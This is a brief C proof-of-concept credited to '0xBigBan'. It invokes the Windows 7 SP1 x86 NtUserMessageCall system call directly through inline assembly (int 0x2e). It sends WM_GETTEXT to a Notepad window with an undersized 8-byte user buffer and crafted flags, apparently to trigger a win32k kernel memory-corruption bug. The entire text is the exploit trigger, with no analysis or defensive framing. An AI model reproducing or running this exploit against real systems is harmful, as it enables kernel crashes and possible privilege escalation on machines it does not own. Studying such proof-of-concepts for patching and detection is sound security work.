/*
more detials:
this poc is written by 0xBigBan
*/
#include <windows.h>
#define __NtUserMessageCall 0x11ea //on win7 sp1 x86
void
SystemCall(
DWORD
ApiNumber, ...) {
__asm{
lea edx, [ebp+0x0c]
mov eax, ApiNumber
int
0x2e
leave
ret
}
}
int
main() {
//you should have open a txt file with notepad
HWND
handle = FindWindow(NULL,
"a.txt - notepad"
);
void
* ptr =
malloc
(
sizeof
(
int
)*2);
SystemCall(__NtUserMessageCall,
handle,
WM_GETTEXT,
0x8,
//buffer size
ptr,
//user mode buffer
0x0,
0x2b3,
0x2);
//ASCII boolean/flag
}